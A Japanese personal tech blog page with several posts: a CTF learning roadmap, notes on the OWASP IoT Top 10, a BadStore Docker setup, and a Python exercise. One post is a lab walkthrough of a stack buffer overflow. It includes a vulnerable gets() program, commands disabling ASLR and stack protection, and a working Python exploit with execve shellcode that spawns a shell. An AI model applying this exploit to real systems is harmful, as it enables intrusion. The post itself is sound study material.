CTFを通じた学習ロードマップを考えた。 その3
はじめに
今日も先輩と熱く語ったので、CTFを通じた学習ロードマップをまとめていく。
勉強会で何をやる?
前回までは、各ジャンルごとの、根底となる技術と、その参考書を紹介した。
実際に勉強会を行う場合、各ジャンルに応じた書籍の輪読だと、ちょっと物足りないだろうし、網羅にも時間がかかる。
おそらく、勉強会に来る方々は、CTFで問題を解くにあたって、解法の糸口がわからなかったり、着眼点がわからなかったりするだろう。
それらの問題の答えを各々の勉強会の中で教授していく必要がある。
そうすることで、勉強会の参加者の方に何かしらを持っていただけると思う。
それ以外に、考慮するべきことがある。
それは、個々人のスキルと興味だ。
今、どんなスキルがあり、どんなジャンルの問題に興味があるかを把握する必要がある。
なぜならば、学習するにあたり、興味のないことをやるより、興味のあることをやった方が学習効率がいい。
それに、ある程度の経験がバックボーンにある方が理解しやすいジャンルもあるだろう。
そういった理由から、勉強会ではまず、個々人の経験と興味を調査するのが良いだろう。
スキルと趣味の調査
ここで、仕事の経験を記載する「仕事のマトリクス」と、興味のあるジャンルを記載する「趣味のマトリクス」を用意する。
イメージとしては、OWASPで公開されている「脆弱性診断士スキルマッププロジェクト」のドキュメントだ。
Pentester Skillmap Project JP - OWASP
実際はもう少し粒度の粗いマトリクスを準備する。
勉強会が始まる前、ないしは勉強会の頭で記入してもらい、どのようなロードマップを辿るか提案する。
この部分に関しては、今回ここまでの言及に留める。
勉強会の内容(何を重点とするか)
次に、先ほど記述した参加者に何かしら持って帰ってもらいたい部分であるが、具体的にはどのような内容がいいだろうか。
勉強会でできる内容は以下の二つだと考えられる。
- ツールの使い方
- 問題ごとの着眼点、解法の糸口
なぜなら、先ほど言及した通り各ジャンルに関わる根底の技術を全て修めようとするとあまりに時間がかかる。
根底技術の習得は各個人の自助努力に任せるとして、勉強会ではツールの使い方、解法の考え方、道筋の立て方を重点的に解説する方が良いと考える。
勉強会で問題を解く方法を学び、自分の力で基礎技術を着けてもらうことで自走できるエンジニアを作っていけるのではないだろうか。
今回はここまで。
CTFを通じた学習ロードマップを考えた。 その2
はじめに
以前CTFを通じた学習ロードマップを少しだけ考えていきます。
では、目的を達成するために、具体的にどのような手順にしていくのがよいのでしょうか。
今回はそれを少し掘り下げてみようと思います。
まずは私が学習に使っている本をいくつか紹介します。
学習に使った本、資料
CTF入門者におすすめされるのは、この本。まずはこの本
CTFのルールの説明書みたいな本、ハリネズミ本
セキュリティコンテストのためのCTF問題集
https://www.amazon.co.jp/s/ref=nb_sb_noss_1?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&url=search-alias%3Dstripbooks&field-keywords=CTF&rh=n%3A465392%2Ck%3ACTF
各ジャンルごとに私が学習に使った本は以下のとおり
- 暗号
- バイナリ、リバーシング
- Web
- ネットワーク
マスタリングTCP/IP 入門編 第5版
https://www.amazon.co.jp/%E3%83%9E%E3%82%B9%E3%82%BF%E3%83%AA%E3%83%B3%E3%82%B0TCP-IP-%E5%85%A5%E9%96%80%E7%B7%A8-%E7%AC%AC5%E7%89%88-%E7%AB%B9%E4%B8%8B/dp/4274068765/ref=sr_1_1?s=books&ie=UTF8&qid=1548553511&sr=1-1&keywords=TCP%2FIP
これに関しては、いい本を見つけることが出来ませんでした。
そのため、基本ネットに流れている問題を解いていました。
exploitを組んだり、コードを組む必要があるので、以下の言語はある程度扱えるように学習しました。
Python
C
C++
上記の言語は、入門書、参考サイト等あふれているので、興味のあるもので学習しました。
ただ、上記の本をくまなく理解しても、CTFの問題が解けるわけではないと思う。
なぜなら、複数のジャンルにまたがる問題だったり、問題を解くにあたっての着眼点が磨かれたりするわけではないから。
学習プロセス
ここで、学習プロセスを考えてみる。
基本、自主的な学習がメインになるので、学習進捗に応じた資料や問題を提示していく。
定期的に集合学習を開き、全体の進捗確認とベクトルの修正を行う。
まとめると以下の通りになります。
1. ハリネズミ本の輪読(CTFのルールの説明、興味のある分野の調査)
2. 興味のあるジャンルに応じた学習プロセスの提示(この時、興味のあるジャンルが複数ある場合、優先順位をつける)
3. 定期的に進捗確認を行う為の集合学習
上記のプロセスでいったんシミュレートをして、有効性の検証をしてみたいですね。
今後の課題
今後の課題は、「ジャンルに応じた学習プロセスの提示」と「集合学習」を開催した際の内容のブレイクダウンです。
今回はここまで。
もっとこうした方がいい、こんな風に学習会を進めたよ!という経験がありましたら、ぜひコメントください。
CTFを通じた学習ロードマップを考えた。
2019年01年18日に会社の先輩と飲みに行った際、社内教育についての話をしたので、備忘の為に書き起こします。
背景
CTF解く際、チームで協力しながら解いた方がきっと解ける。その為にはチーム全体のボトムアップが必要、と考えた。
CTFのジャンル
CTFのJeopardy形式で扱われるジャンルは以下の通り。
- Crypto
- Network
- Web
- Reversing
- Pwn
- Steganography
- Misc
Misc問題は知識や検索能力を問う問題なので、特に考慮しないこととする。
最終目標
1つのジャンルにおいて1人で解けるだけの理論の把握、技術力をつける。
目標のブレイクダウン
最終目標に到達するために各ジャンルごとに到達目標をブレイクダウンする。
- Crypto
最終目標:暗号技術の理論の理解と説明が可能
その前の目標:ツールを使った暗号の解読が可能
- Network
最終目標:ネットワーク技術の理解と説明が可能
その前の目標:ツールを用いてパケット解析が可能
- Web
最終目標:Webに関わる脆弱性の理解とその仕組みの説明が可能
その前の目標:複数あるWebの脆弱性の内、一つでもツールを使って攻撃が可能
- Reversing
最終目標:プログラムのコンパイルの仕組み、動作原理を説明できる。
その前の目標:ツールを使ってプログラムの解析ができる。
- Pwn
最終目標:プログラムの解析とexploitを作ることができる。
その前の目標:ツールを使ってプログラムの解析を行い、脆弱性を見つけることができる。
- Steganography
最終目標:様々なデータから自力で標的となるデータを見つけることができる。
その前の目標:特定の形式(画像、音)から標的となるデータを見つけることが出来る。
まとめ
ざっくりと先輩と話したこと、今考えていることをまとめました。
お酒飲んだ頭で考えたので、定量的な目標ではありません。その為、目標に対する評価もちゃんと考えられていません。
この記事は定期的にアップデートして詰めていきたいと思います。
OWASP 2018 IoT Top10を読んでみた感想
そういえば、OWASPからクリスマスプレゼント来ていたので、改めて確認してみようと思う。
本家サイトへのリンクはこちら
www.owasp.org
1つ1つ見て、自分なりのコメントを付けていこうと思います。
もし記事に間違いがありましたら、コメント欄にてご指摘いただけると幸いです。
1. Weak, Guessable and HardCoded Password(弱い、推測しやすい、ハードコードされたパスワード)
これは1番目に来てもなんら不思議ではないですね。
IoTを狙ったマルウェアMiraiも初期パスワードによるリスト攻撃で拡散して有名になったのは記憶に新しいです。
こんな記事も
techfactory.itmedia.co.jp
他にもWebサービスでルータやIoT機器のデフォルトパスワードを検索できるサイトもあります。
そんな背景からTop1になったのだと思いました。
2. Insecure Network Services(セキュアでないネットワークサービス)
不要にネットに接続されていたり、セキュアでない接続をしているIoTがある。
また、認証なしにssh接続できたり、機微な情報が平文のまま流れていたりする場合がある。
私はおおよそ上記のような理解をしています。
以前The Zero/ Oneで下記のような記事がありました。
the01.jp
上記の記事でも、認証なしに接続可能なデバイスがあることが紹介されていました。
3. Insecure Ecosystem Interfaces(セキュアでないインターフェース)
翻訳は正しいのかな?ちょっと自信ないです。
IoT自体ではなく、そこで動作するAPIやインターフェイスのつくりが粗末な場合セキュアでない、ということだと理解しています。
確かに管理画面やAPIなど、セキュリティを気にして作りこんでいる印象はないですね。
4. Lack of Secure Update Mechanism(セキュアなアップデートメカニズムの欠落)
最近のIoTはインターネットに常時繋いでいる物も増えてきていますが、適切にアップデートされているとは言えない現状があります。
総務省でもIoT機器に関する脆弱性調査を行ってました。
www.soumu.go.jp
それだけ問題が根深く影響が大きいってことなんでしょうね。
5. Use of Insecure Or Outdated Components(時代遅れのコンポーネントの利用)
これも上記のものと似ている問題だと思っています。
一度リリースされたIoTをメンテナンスする話はあまり聞かないですし、そういった問題のことを言っているのだと思いました。
6.Insufficient Privacy Protection(十分でないプライバシー保護)
個人情報をIoT機器やエコシステム内に保存し、パーミッションなしでの利用やセキュアでない利用をしてしまう。
この問題については、あまりニュースやtwitterで見たことがないです。(私の情報収集不足ですね。。。)
ただソシャゲのユーザIDがほぼ生でストレージ上に保存されている話は聞いたことがあるので、それに近い問題なのかな、と思いました。
7. Insecure Data Transfar and Strage(セキュアでない通信や保存)
暗号化やアクセスコントロールが適切に行われていない問題。
ぱっと出てきませんが、通信が平文で流れてるIoT機器があったニュースがあったような、、、、ないような、、、、
限られたリソースしか持っていないので、PCと同等の暗号化処理が難しいのも問題だと思います。
そんな折を受けて、軽量暗号の開発が進んでいるようですね。
www.marubeni-sys.com
8. Lack of Device Management(デバイスマネジメントの不足)
デバイスのデプロイの際に想定していたモニタリングやアップデートマネジメントなどの考慮不足。
それによる、適切なアップデートが行われないといった副次的な問題に繋がる可能性がある。
そんな風に読めました。5の問題とも関わってくるのではないかと思いました。
9. Insecure Default Settings(セキュアでない初期設定)
先ほど挙げた、総務省の調査の中でも、ポートスキャンに対して応答を返すIoT機器が53%という結果が出ています。
そういった不要なポートをふさいでいない、デバッグ用のポートが空きっぱなしといったIoT機器はありそうですね。
10. Lack of Physical Hardening(物理ハードニングの不足)
OWASPのドキュメントでは、「潜在的な攻撃者に情報を与え、将来的な攻撃につながる可能性がある。」とのこと。
この問題に関しては、8,9の問題と同じなのではないかと思いました。
IoTデバイスのハードウェア情報がリクエスト、レスポンスの中で露呈していることでしょうか。
あとは、ICチップに型番が書いてあって、それを元に攻撃を行うといった手法が紹介されていましたね。
そういった細かい情報が少しずつ洩れている問題のこと指摘しているのでしょうかね。
まとめ
今回、OWASPからのクリスマスプレゼントをざっと呼んで紹介しました。
脆弱性診断の世界でも、IoT機器に対する診断のサービスも出始めています。
まだまだ作り手、使い手の双方のセキュリティに対する意識が不足している部分なので、これからも攻撃は続くと思います。
私自身も知識をアップデートして、対応できるように勉強しなければいけませんね!
以上です。
もし読み違い、理解が間違っていましたらご指摘いただければ幸いです。
dockerを使って、BadStoreのコンテナを立てる。
2018年も今日で最後となりますが、こんな日だからこそ更新していきたいと思います。
この記事では以下の内容を書いています。
- Docker for Windowsのインストール
- Dockerでimageのダウンロード
- コンテナの起動と疎通確認
意図した内容でしたら、先に読み進めて頂ければと思います。
さて、やりたいことは以下の通り
やりたいこと
- dockerで簡単に立てたり潰したりできるやられ役Webアプリを建てたい
なぜ?
勉強会や社内教育の為にやられ役Webアプリを使いたい。
サーバや、VM等で実現してもよいが、それ用の端末を準備するお金はない ← これ重要
そのため、安価で準備できるRasberryPi上にdocker環境を入れて、研修環境を構築したらどうかと考えたから。
そもそもRaspberry Piでdockerが動くか調べてみたところ、どうやらできそう。
Raspberry Pi上でdockerを動かす実践をしていらっしゃる方の記事が参考になりそう。
Raspberry Pi docker 環境を構築する
まず、、、
ここまで書いてきましたが、そもそもdockerを触ったことがない私ですので、まずはWindows on Dockerで練習する。
環境
Windows 8 64bit Home Edition
intel Core i5-4200U @ 1.60GHz
RAM 8G
Docker version 17.06.0-ce, build 02c1d87
Docker for Windowsのインストール
インストーラ自体は以下のサイトからダウンロードしてインストールを行う。
docs.docker.com
アイコンが表示されるのでダブルクリックして実行。
以下の画面が出てきて、入力待ちの状態になる。これでインストールは完了
Dockerでimageのダウンロード
今回、建てたいのはやられ役Webアプリ。
ゼロから作ると大変なので、すでに準備されているimageを使って試したいので、Docker-Hubで探してみる。
そうすると、jvhoof/badstore-dockerというimageが公開されている。
Docker Hub
今回はこれを使う。
右下にあるコマンドをコピーしておく。
そして、Docker for Windows上で先ほどコピーしたコマンドを実行する。
これで、imageのダウンロードは完了。
コンテナの起動と疎通確認
ダウンロードしたimageを使って、コンテナの起動を行う。
コンテナ起動のコマンドは以下の通り
docker run --name test --rm -i -p 8080:80 -t jvhoof/badstore-docker
docker run のオプションに関しては以下のサイトを参考してください。
Docker run リファレンス — Docker-docs-ja 17.06.Beta ドキュメント
次に、起動確認を行う。
dockerのipは以下のコマンドで確認する。
DOCKER-HOST部分のipアドレスを確認。
後は、docker runで -p で設定した8080番ポートに対してアクセスする。
やったぜ
まとめ
ここまでで、Windows上でdockerを使ってBadStoreの起動まで確認できた。
あとやることとしては、dockerコンテナの破棄、再起動の確認。それが終わったら、raspberry pi 上での実装。
こんな感じで年始は勉強を進めていきます。
簡単なバッファオーバーフローを試してみた。
「第20回ゼロから始めるセキュリティ入門 勉強会」でバッファオーバーフローについて発表しました。
https://weeyble-security.connpass.com/event/101572/
実際に試すためにいろいろやってみたので、備忘のためにの記事にしようと思います。
バッファオーバーフローとは?
そもそもバッファーオーバーフローってなんぞ、ってのは以下のサイトを参照してください。
バッファオーバーフロー(バッファオーバーラン)とは - IT用語辞典
開発環境
さて、試した環境は,
VMware WorkStation12 Player で仮想環境上で試した。
Ubuntuの64bit版で試した。
$ cat /etc/os-release NAME="Ubuntu" VERSION="18.04.1 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.1 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic
バッファオーバーフローを起こすため、C言語で脆弱なプログラムを作成する。
gccのバージョンは以下の通り
$gcc --version gcc (Ubuntu 7.3.0-16ubuntu3) 7.3.0 Copyright (C) 2017 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
脆弱なプログラムの作成
脆弱なプログラムは以下の通り。
include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char *argv[]){ char buf[100]; setlinebuf(stdout); printf("buf = %p\n", buf); gets(buf); puts(buf); return 0; }
コードの意味を見てみると、まず、メモリを100確保する。
で、ポインタの位置をプリントする。
次に標準入力待ち状態になる。
入力された値をメモリに配置し、標準出力してプログラム終了。
コンパイルして挙動を確認してみる。
$ ./overflow buf = 0x7ffd13aede80 A A $ ./overflow buf = 0x7ffc642b46a0 ABC ABC $ ./overflow buf = 0x7fffc1bd00c0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
うん。
思った通りの挙動をしている。
実行する度、確保されるバッファメモリの位置が変わっていることが確認できる。
バッファオーバーフローを意図的に引き起こすため、防御機構の停止
バッファオーバーフローを実行するために、ASLR(Address Space Layout Randomization)※4とSSP(Stack Smash Protection)※5を停止する。
UbuntuでASLRを止めるには、以下のコードを実行する。
$sudo sysctl -w kernel.randomize_va_space=0
$ ./overflow buf = 0x7fffffffddf0 A A $ ./overflow buf = 0x7fffffffddf0 ABC ABC $ ./overflow buf = 0x7fffffffddf0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
うん、よしよし。
確保されているバッファの位置が一定になっていることがわかる。
SSPの無効化は、ソースコードのコンパイルオプションで設定する。
$gcc -fno-stack-protector -z execstack -o overflow buffer_overflow.c
バッファオーバーフローを使ってshellを奪うコードの作成
そして、実際に攻撃するコードを作る。
こちらも、ももいろテクノロジーさんのコードをお借りする。
import sys import struct from subprocess import Popen, PIPE addr_buf = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) # execve("/bin/sh", {"/bin/sh", NULL}, NULL) shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05' buf = shellcode buf += 'A' * (bufsize - len(buf)) buf += 'A' * (8 - len(buf)%8) # alignment buf += 'AAAAAAAA' * 2 buf += struct.pack('<Q', addr_buf) p = Popen(['./overflow'], stdin=PIPE, stdout=PIPE) print("[+] read: %r" % p.stdout.readline()) p.stdin.write(buf+'\n') print("[+] read: %r" % p.stdout.readline()) p.stdin.write('exec <&2 >&2\n') p.wait()
ここは、参考にしたコードのままでは実行できなかった。
なんでかなー、と思ったところ、32bit版と64bit版でシェルコードが変わるらしい。
同じくももいろテクノロジー様の、以下のサイトにして新しいシェルコードを組み立てる。※3
具体的には、参考にさせて頂いたシェルコードは、以下のとおり
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
64bitの場合のシェルコードは以下のとおり。
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
また、実行する際はpython2系で実行すること。
python3系で実行すると、ライブラリstructureの関数がうまく動かない。
で、実行してみると以下のようになる。
$ python exploit.py 0x7fffffffddf0 100 [+] read: 'buf = 0x7fffffffddf0\n' [+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xdd\xff\xff\xff\x7f\n' whoami <ここはログインユーザの名前が表示>
「python exploit.py 0x7fffffffddf0 100」を実行した段階で、入力待ちの状態になり、「whoami」を入力してEnter
これでログインユーザの名前が表示されたことから、バッファオーバーフローを使ってshellを奪うことが出来た。
まとめ
ここまで、簡単なバッファオーバーフローを使って、shellを奪うサンプルを試してみました。
しかし、実際はASLRやSSPが停止しているはずもなく、工夫を加えなければなりません。
こちらもももいろテクノロジー様のサイトに、検証のための記事が公開されておりますので、
そちらを参考に実装してみたいと思います。
参考文献
※1 e-words「バッファオーバーフロー 【 buffer overflow 】 バッファオーバーラン / buffer overrun」
http://e-words.jp/w/%E3%83%90%E3%83%83%E3%83%95%E3%82%A1%E3%82%AA%E3%83%BC%E3%83%90%E3%83%BC%E3%83%95%E3%83%AD%E3%83%BC.html
※2 ももいろテクノロジー「単純なスタックバッファオーバーフロー攻撃をやってみる」
http://inaz2.hatenablog.com/entry/2014/03/14/151011
※3 ももいろテクノロジー「x64でスタックバッファオーバーフローをやってみる」
http://inaz2.hatenablog.com/entry/2014/07/04/001851
※4 通信用語の基礎知識「ASLR」
https://www.wdic.org/w/TECH/ASLR
※5 OWASP ZAP「Stack-smashing Protection (SSP)」
https://www.owasp.org/index.php/Stack-smashing_Protection_(SSP)
Pythonで2つの文字列から共通の文字を見つける
最近Pythonの学習に使っているCheckioで面白い問題があったので、記事にしてみます。
Checkioについてはこちら
py.CheckiO - Python coding challenges and exercises with solutions for beginners and advanced
そして、問題は「Common Words」
問題の仕様は以下の通り
入力:二つの文字列(単語の区切りは「,」)
出力:共通する単語を文字列として出力(単語の区切りは「,」)
私の作った回答はこちら
def func(arg1, arg2): li1 = arg1.split(',') li2 = arg2.split(',') ret = [] for i in li1: if i in li2: ret.append(i) ret_val = ",".join(sorted(ret)) return ret_val print(func("one,two,three", "four,five,one,two,six,three"))
ええと、なんとまぁ、手続き型の書き方なんでしょう。。。
回答としては正解していたのですが、なんとも不格好というか、ダサいというか、Pythonらしくないというか。。。
Checkioでは、問題に回答し、正解すると他の回答者の回答が見れるので、それを見て自分のコードを振り返ります。
一番いいなと思った回答はこちら
def func(first, second): return ','.join(sorted(set(first.split(',')) & set(second.split(','))))
気になったのは2つの引数の文字列から共通の文字列を探すはずなのに、if文がないこと。
ここで、このコードのポイントは2つあると考えました。
1.setオブジェクト
2.join関数の中の「&」
一つ目のsetオブジェクトについては、以下の部分が該当箇所かと。
sorted(set(first.split(','))
ここで文字列をカンマ区切りで配列に変換。
配列をsetオブジェクトに変換。
そしてアルファベット順に並び替え。
setオブジェクトについては、Pythonの公式ドキュメントを参照すると、「重複のない要素の順序なしコレクション」とのこと。
二つ目のjoin関数の中の「&」については、同じく公式ドキュメントを参照。
そこでは「s & t」は「集合s と 集合tで共通する新しい集合 」とのこと。
なるほど。if文なく共通する文字列を探している部分はここだったのか。
最終的に演算後の集合をカンマ区切りで文字列を作成し、関数の結果とし返す、と。
まだまだ頭が固いなーと思った問題でした。